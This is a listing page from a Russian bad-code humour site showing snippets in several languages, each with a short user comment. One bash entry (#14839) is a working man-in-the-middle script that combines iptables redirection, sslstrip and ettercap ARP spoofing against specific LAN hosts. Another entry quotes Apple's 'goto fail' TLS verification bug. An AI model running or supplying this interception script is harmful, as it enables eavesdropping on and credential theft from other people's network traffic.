1. PHP / Говнокод #14951

    +151

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    $s = $this->getAdapter()->select()->from(array('b' => $this->info('name'), array(
       'text',
       'link',
       'image',
                'show_register',
    
    
      )))->joinInner(array('s' => 'banner_size'), 's.id=b.size_id', array('x', 'y'))
       ->where('b.show_it = ?', 1)
       ->where('s.x = ?', $sizeX)
       ->where('s.y = ?', $sizeY)
       ->limit(1)
       ->order('RAND()');
    
    
            if (!empty($uid)){
                $s->where('(b.show_register= ?, 1)' OR '(b.show_register= ?, 0)');
            } else {
                $s->where('(b.show_register= ?, -1)' OR '(b.show_register= ?, 0)');
    
            }
          echo $s-> __toString();
          //  var_dump(!empty($uid));
      return $this->getAdapter()->fetchRow($s);

    мега крутое условие
    $s->where('(b.show_register= ?, 1)' OR '(b.show_register= ?, 0)');

    kolyabres, 25 Февраля 2014

    Комментарии (1)
  2. C# / Говнокод #14950

    +131

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    // Сериализуем
    var outStream = new MemoryStream();
    serializer.Serialize(outStream, storedSplitInfo);
    string output = outStream.ToArray().Aggregate(string.Empty, (current, simbol) => current + (char) simbol);
    
    ...
    
    // Десериализуем
    var serializer = new XmlSerializer(typeof(StoredSplitInfo));
    return (StoredSplitInfo)serializer.Deserialize(new MemoryStream(docNumber.SplitInfo.Select(c => (byte)c).ToArray()));

    Вот таким изощренным способом мы умеем сериализовывать объекты в XML

    Govnokoder555, 25 Февраля 2014

    Комментарии (14)
  3. C++ / Говнокод #14949

    +37

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    long* Service::qByteToLongArray(QByteArray qba, long r)
    {
        long* larr = new long[r];
    
        char *carr;
        carr = (char*)larr;
    
        int len = r * sizeof(long);//length in bytes
    
        for(int i=0; i < len; i++)
            carr[i] = qba.at(i);
    
        return larr;
    }
    
    QByteArray Service::longToQByteArray(long **larr2, long r, long c)
    {
        QByteArray qba;// = new QByteArray();
    
        char **carr2;
        carr2 = (char**)larr2;
    
        int rlen = c * sizeof(long);//length of row in bytes
    
        for(int i=0; i < r; i++){
            qba.append(carr2[i], rlen);//add next row of matrix to the QByteArray
        }
    
        return qba;
    }

    Нашли это, только когда собрали под x64.

    Abbath, 25 Февраля 2014

    Комментарии (16)
  4. PHP / Говнокод #14942

    +152

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    ...
    ## $config['components'] - массив компонентов(>25) для Yii
    foreach ($config['components'] as $name => $component) {
        if ($name != 'db') {
            unset($config['components'][$name]);
        }
    }
    ...
    
    # потом был баг фикс 
    foreach ($config['components'] as $name => $component) {
        if ($name != 'db' && $name != 'db_stats') {
            unset($config['components'][$name]);
        }
    }

    Сделал один из наших программистов, потом другой добавил свое, и уже я , с утра, в безсознательном состоянии, хотел было добавить ещё условие " && $name != 'format'" , но увидев результат, в голове бзынкнуло - WTF I AM DOING!!!
    cделал так
    $config['components'] = array_intersect_key($config['components'], array('db'=>1, 'db_stats'=>1, 'format' => 1));

    xakki, 25 Февраля 2014

    Комментарии (9)
  5. SQL / Говнокод #14941

    −122

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    select CMPNPFCOD into c_CMPCOD from SPECPART.CHSCMPALL where INSNMB = l_INSNMB fetch first 1 rows only;
    select CMPPRFCOD into c_CMPPRF from SPECPART.CHSCMPALL where INSNMB = l_INSNMB fetch first 1 rows only;
    select CMPDCL_YER into c_CMPDCL_YER from SPECPART.CHSCMPALL where INSNMB = l_INSNMB fetch first 1 rows only;
    select DPTCOD into c_DPTCOD_CHS from SPECPART.CHSCMPALL where INSNMB = l_INSNMB fetch first 1 rows only;
    select DCINMB into c_DCINMB_CHS from SPECPART.CHSCMPALL where INSNMB = l_INSNMB fetch first 1 rows only;
    select DCIDCK into c_DCIDCK_CHS from SPECPART.CHSCMPALL where INSNMB = l_INSNMB fetch first 1 rows only;
    select DCICPY into c_DCICPY_CHS from SPECPART.CHSCMPALL where INSNMB = l_INSNMB fetch first 1 rows only;
    select DPTCOD into c_DPTCOD_AGR from SPECPART.AGRNPFALL where INSNMB = l_INSNMB fetch first 1 rows only;
    select DCINMB into c_DCINMB_AGR from SPECPART.AGRNPFALL where INSNMB = l_INSNMB fetch first 1 rows only;
    select DCIDCK into c_DCIDCK_AGR from SPECPART.AGRNPFALL where INSNMB = l_INSNMB fetch first 1 rows only;
    select DCICPY into c_DCICPY_AGR from SPECPART.AGRNPFALL where INSNMB = l_INSNMB fetch first 1 rows only;
    select PROCDATE into c_PROCDATE from SPECPART.CHSCMPALL where INSNMB = l_INSNMB fetch first 1 rows only;

    Глумление над DB2

    rush, 25 Февраля 2014

    Комментарии (11)
  6. SQL / Говнокод #14938

    −163

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    CREATE PROCEDURE DEPTORS_EURO AS	-- Но сначала отключу ТРИГГЕРА 
       ALTER TABLE DEPTORS_REFERENCE DISABLE  TRIGGER Tr_for_DEPTORS_REFERENCE
       ALTER TABLE DEPTORS_DOC_EURO DISABLE  TRIGGER Tr_for_DEPTORS_DOC_EURO
       ALTER TABLE DEPTORS_Remander DISABLE  TRIGGER Tr_for_DEPTORS_REMANDER
       ALTER TABLE DEPTORS_Payment DISABLE  TRIGGER Tr_for_DEPTORS_Payment -- Создаю документ DEPTORS_DOC_EURO_old
                         Она будет нужна для поиска оплативших долги АК и появившихся новых */
     IF EXISTS(SELECT name  -- Удаляю, если существует в БД
    	  FROM 	 sysobjects WHERE  name = N'DEPTORS_DOC_EURO_old' AND 	 type = 'U') DROP TABLE DEPTORS_DOC_EURO_old
                SELECT * INTO DEPTORS_DOC_EURO_old -- Это DEPTORS за предыдущий месяц
                FROM DEPTORS_DOC_EURO     -- После копирования данных - уничтожим DEPTORS_DOC_EURO
    DELETE  DEPTORS_DOC_EURO -- Т.О. по FK-PK обнуляютя таблицы  
    DELETE FROM STATEMENT_UKRSTA WHERE mvt_date = 
    (SELECT DISTINCT LATEST__DATE -- выбираю дату 
    FROM STATEMENT_UKRSTA , CALENDAR_BILL_DATE WHERE
     DATEPART(mm,FLIGHT_PERIOD) = DATEPART(mm, (SELECT DATEADD(mm,-1, MAX(stac_date)) FROM STATEMENT_UKRSTA WHERE type = 'FB'))  and
     DATEPART(yy,FLIGHT_PERIOD) = DATEPART(yy, (SELECT DATEADD(mm,-1, MAX(stac_date)) FROM STATEMENT_UKRSTA WHERE type = 'FB'))  and
     type = 'FB') -- Удаляю из таблицы STATEMENT_UKRSTA  все АК, которые не имеют долгов
    DELETE FROM STATEMENT_UKRSTA WHERE corr IN (SELECT corr FROM STATEMENT_UKRSTA a GROUP BY a.corr HAVING Sum(a.saldo) <= 0 ) 
    -- Создаю псевдовременную таблицу по выборке DEPTORS_REFERENCE_Vrem
    IF EXISTS(SELECT name  -- Удаляю, если существует в БД
    	  FROM 	 sysobjects WHERE  name = N'DEPTORS_REFERENCE_Vrem' AND type = 'U') DROP TABLE DEPTORS_REFERENCE_Vrem  
    SELECT  corr, type, SUBSTRING(reference,1,6) AS Account, Sum(saldo) AS Saldo INTO DEPTORS_REFERENCE_Vrem FROM STATEMENT_UKRSTA GROUP BY corr, type, reference HAVING SUM(saldo) > 0  
    -- Т.К. FK-PK то сначала внесем User_Ref всех должников в DEPTORS_DOC_EURO
    IF EXISTS(SELECT name  -- Удаляю, если существует в БД
    	  FROM 	 sysobjects WHERE  name = N'USER_REF' AND 	 type = 'U')
        DROP TABLE USER_REF  
    SELECT DISTINCT corr INTO USER_REF FROM DEPTORS_REFERENCE_Vrem 
    INSERT INTO DEPTORS_DOC_EURO SELECT User_Ref=a.corr,DEBT_AMOUNT=Null,Name= Null,Country=Null,Code_ICAO=Null,Final_Date=Null,Period_of_Dept=Null,Saldo_D_Facte=0,Saldo_D_Ure=0 FROM USER_REF a  
    DROP TABLE USER_REF -- Заполняю таблицу DEPTORS_REFERENCE (User_Ref уже есть - поэтому позволит внести)
    INSERT INTO DEPTORS_REFERENCE SELECT User_Ref=a.corr,reference=a.Account,type=a.type,Old_Saldo=a.Saldo,Saldo_D_Facte =0,Saldo_D_Ure=0 -- первично  
     FROM DEPTORS_REFERENCE_Vrem a   -- Удалим псевдовременную таблицу DEPTORS_REFERENCE_Vrem
    DROP TABLE  DEPTORS_REFERENCE_Vrem -- Корректирую счета (Выставлено - Оплачено)
    IF EXISTS(SELECT name  -- Удаляю, если существует в БД
    	  FROM 	 sysobjects WHERE  name = N'Vrem_Stat_Negativ_Saldo' AND 	 type = 'U') DROP TABLE Vrem_Stat_Negativ_Saldo  
    SELECT  corr, type, SUBSTRING(reference,1,6) AS Account, Sum(saldo) AS Saldo INTO Vrem_Stat_Negativ_Saldo FROM STATEMENT_UKRSTA GROUP BY corr, type, reference HAVING SUM(saldo) < 0  -- Сравниваю две таблицы (DEPTORS_REFERENCE и Vrem_Stat_Negativ_Saldo)
    UPDATE a SET Old_Saldo = a.Old_Saldo + b.Saldo FROM DEPTORS_REFERENCE a INNER JOIN Vrem_Stat_Negativ_Saldo b ON a.User_Ref = b.corr and a.reference = b.Account
    DROP TABLE Vrem_Stat_Negativ_Saldo      -- Создаю новый документ DEPTORS_DOC_EURO 
    IF EXISTS(SELECT name  -- Удаляю, если существует в БД
    	  FROM 	 sysobjects WHERE  name = N'Vrem_DEPTORS_DOC_EURO' AND 	 type = 'U')    DROP TABLE Vrem_DEPTORS_DOC_EURO
       SELECT User_Ref, SUM(Old_Saldo) AS Old_Saldo,SUM(Saldo_D_Facte) AS Saldo_D_Facte,SUM(Saldo_D_Ure)   AS Saldo_D_Ure
     INTO Vrem_DEPTORS_DOC_EURO FROM DEPTORS_REFERENCE GROUP BY User_Ref 
    UPDATE b
    SET 
      DEBT_AMOUNT  = a.Old_Saldo, Saldo_D_Facte = a.Old_Saldo, Saldo_D_Ure   = a.Old_Saldo  FROM Vrem_DEPTORS_DOC_EURO a INNER JOIN DEPTORS_DOC_EURO b ON a.User_Ref = b.User_Ref
      DROP TABLE  Vrem_DEPTORS_DOC_EURO
    UPDATE a SET Name= b.corr_name  FROM DEPTORS_DOC_EURO a INNER JOIN STATEMENT_UKRSTA b 
               ON a.User_Ref = b.corr              
    UPDATE a SET Code_ICAO = ICAO_CODE FROM DEPTORS_DOC_EURO a INNER JOIN AIRCOMPANYS b
         ON (a.User_Ref = b.CRCO_NUMBER) OR (a.User_Ref = b.CRCO3)
    UPDATE a SET Country = c.FULL_NAME FROM DEPTORS_DOC_EURO a INNER JOIN AIRCOMPANYS b 
         ON (a.User_Ref = b.CRCO_NUMBER) OR (a.User_Ref = b.CRCO3)
                            INNER JOIN COUNTRYS c ON b.COUNTRY_ID = c.ID
     IF EXISTS(SELECT name  -- Удаляю, если существует в БД
    	  FROM 	 sysobjects WHERE  name = N'DEPTORS_DOC_EURO_NewDolg' AND 	 type = 'U')
        DROP TABLE DEPTORS_DOC_EURO_NewDolg
                   SELECT * -- Делаю выборку в таблицу   
                   INTO DEPTORS_DOC_EURO_NewDolg FROM DEPTORS_DOC_EURO
    WHERE User_Ref Not IN (SELECT User_Ref FROM DEPTORS_DOC_EURO_old)
    IF EXISTS(SELECT name  -- Удаляю, если существует в БД
    	  FROM 	 sysobjects WHERE  name = N'DEPTORS_DOC_EURO_OplatDolg' AND 	 type = 'U')
        DROP TABLE DEPTORS_DOC_EURO_OplatDolg
                   SELECT * -- Делаю выборку в таблицу   
                   INTO DEPTORS_DOC_EURO_OplatDolg FROM DEPTORS_DOC_EURO_old
    WHERE User_Ref Not IN (SELECT User_Ref FROM DEPTORS_DOC_EURO)
       ALTER TABLE DEPTORS_REFERENCE ENABLE  TRIGGER Tr_for_DEPTORS_REFERENCE
       ALTER TABLE DEPTORS_DOC_EURO ENABLE  TRIGGER Tr_for_DEPTORS_DOC_EURO
       ALTER TABLE DEPTORS_Remander ENABLE  TRIGGER Tr_for_DEPTORS_REMANDER
       ALTER TABLE DEPTORS_Payment ENABLE  TRIGGER Tr_for_DEPTORS_Payment

    курсор головного мозга 2.2

    bahamot, 24 Февраля 2014

    Комментарии (23)
  7. Си / Говнокод #14935

    +142

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    static OSStatus
    SSLVerifySignedServerKeyExchange(SSLContext *ctx, bool isRsa, SSLBuffer signedParams,
                                     uint8_t *signature, UInt16 signatureLen)
    {
        OSStatus        err;
        ...
    
        if ((err = SSLHashSHA1.update(&hashCtx, &serverRandom)) != 0)
            goto fail;
        if ((err = SSLHashSHA1.update(&hashCtx, &signedParams)) != 0)
            goto fail;
            goto fail;
        if ((err = SSLHashSHA1.final(&hashCtx, &hashOut)) != 0)
            goto fail;
        ...

    Говно с яблочным привкусом.
    http://habrahabr.ru/post/213525/

    P.S.: Не уверен Си это или плюсы.

    Vindicar, 24 Февраля 2014

    Комментарии (59)
  8. C++ / Говнокод #14847

    +49

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    8. 8
    ...
    #define POW2 65536
    #define TRUE 1
    #define FALSE 0
    #define VAL_TEN 20
    #define VAL_TWEN 10
    #define VAL_HUN 100
    ...

    Просто поржать. Пока была в отпуске, получила письмо от коллеги с этим примером того что я слишком сильно прижала индусов за константы и они все цифры в коде поменяли на "слова".

    dariak, 24 Февраля 2014

    Комментарии (63)
  9. bash / Говнокод #14839

    −129

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    71. 71
    72. 72
    73. 73
    74. 74
    #!/bin/bash
    FILE="/proc/sys/net/ipv4/ip_forward"
    echo "Время		Наименование				Статус" >> /tmp/for_log.list
    echo "______________________________________________________________" >> /tmp/for_log.list
    iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
    IP_FORWARD(){
    while true; do
    
    CT_FORWARD=`cat /proc/sys/net/ipv4/ip_forward`
    if [ "$CT_FORWARD" = 1 ] ;then
    	echo > /dev/null
    else
    	echo "1" > $FILE
    fi
    #sleep 3
    done
    }
    
    CON_ETHERNET(){
    	while true; do
    	echo $(date +%H:%M:%S)"	Проверка интернет соединения		в обработке"  >> /tmp/for_log.list
    	ping -c 3 ya.ru > /dev/null
    		if [ $? = "0" ];then
    			echo $(date +%H:%M:%S)"	Подключение к интернет			есть" >> /tmp/for_log.list
    			START_SNIFFIG
    		else
    			echo $(date +%H:%M:%S)"	Нет интернет подключение		fail" >> /tmp/for_log.list
    			if [ "`ps sx | grep sslstrip | grep -v grep  | awk '{ print $10; }'`" = "sslstrip" ];then
    				$POSE=`ps sx | grep sslstrip | grep -v grep  | awk '{ print $2; }'`
    				kill -9 $POSE >rpmlist 2> /dev/null
    				echo "Процесс sslstrip... убит"
    				echo $(date +%H:%M:%S)"	Процесс sslstrip	убит" >> /tmp/for_log.list
    				else
    				echo > /dev/null
    			fi
    			if [ "`ps sx | grep tcpdump | grep -v grep  | awk '{ print $10; }'`" = "tcpdump" ];then
    				kill -9 `ps all | grep ettercap | grep -v grep  | awk '{ print $3; }'` >rpmlist 2> /dev/null
    				echo
    				echo "Процесс ettercap... убит"
    				echo $(date +%H:%M:%S)"	Процесс ettercap		убит" >> /tmp/for_log.list
    				kill -9 `ps all | grep sslstrip | grep -v grep  | awk '{ print $2; }'` >rpmlist 2> /dev/null
    				echo
    				echo "Процесс sslstrip... убит"
    				echo $(date +%H:%M:%S)"	Процесс sslsrip			убит" >> /tmp/for_log.list
    				else
    				echo > /dev/null
    			fi
    		fi
    		sleep 120
    	done
    }
    
    START_SNIFFIG(){
    	#Проверяем, запущен ли уже сниффер
    	sleep 4
    	CHECK_SSLSTRIP=`ps sx | grep sslstrip | grep -v grep | awk '{ print $10; }'`
    		if [ "$CHECK_SSLSTRIP" = "sslstrip" ];then
    			echo $(date +%H:%M:%S)"	Процесс sslstrip	 	включен" >> /tmp/for_log.list
    			echo > /dev/null
    		else
    			#sslstrip -a -k -f & ettercap -i wlan3 -TqM arp:remote -L  $(date +%d-%m-%Y__%H:%M) /192.168.1.1/ /192.168.1.102/
    			echo $(date +%H:%M:%S)"	Включаю sslstrip			включен успешно" >> /tmp/for_log.list
    			sslstrip -a -f & 
    		fi
    	CHECK_ETTERCAP=`ps all | grep ettercap | grep -v grep | awk '{ print $13; }'`
    		if [ "$CHECK_ETTERCAP" = "ettercap" ];then
    			echo $(date +%H:%M:%S)"	Процесс ettercap	 		включен" >> /tmp/for_log.list
    			else
    			echo $(date +%H:%M:%S)"	Включаю etttercap			включен успешно" >> /tmp/for_log.list
    			ettercap -i wlan0 -L $(date +%H:%M:%S) -TqM arp:remote -P autoadd  /192.168.1.1/ /192.168.1.102/ &
    		fi
    	}
    	
    IP_FORWARD & CON_ETHERNET

    1. Проверяет интернет соединение
    2. При наличии инета врубает sslstrip и ettercap
    3. Если инета нету, ждем 2 минуты, и повторяем проверку заного
    ___________
    Галимый полуавтоматический скрипт, писал челу под телефон на котором виртуалка линухи

    MassEnjoy, 23 Февраля 2014

    Комментарии (49)
  10. PHP / Говнокод #14807

    +153

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    $access = 'ACCESS DENIED!';
    foreach ($controolers as $controller_module)
    {
    	if (strtolower($controller_) == $controller_module['controller'] || strtolower($controller_) == 'index' || strtolower($controller_) == 'login')
    	{
    		$access = '';
    		break;
    	}
    }
    if ($access == 'ACCESS DENIED!')
    {
    	echo $access;
    	exit;
    }

    ACCESS DENIED!

    roocster, 23 Февраля 2014

    Комментарии (8)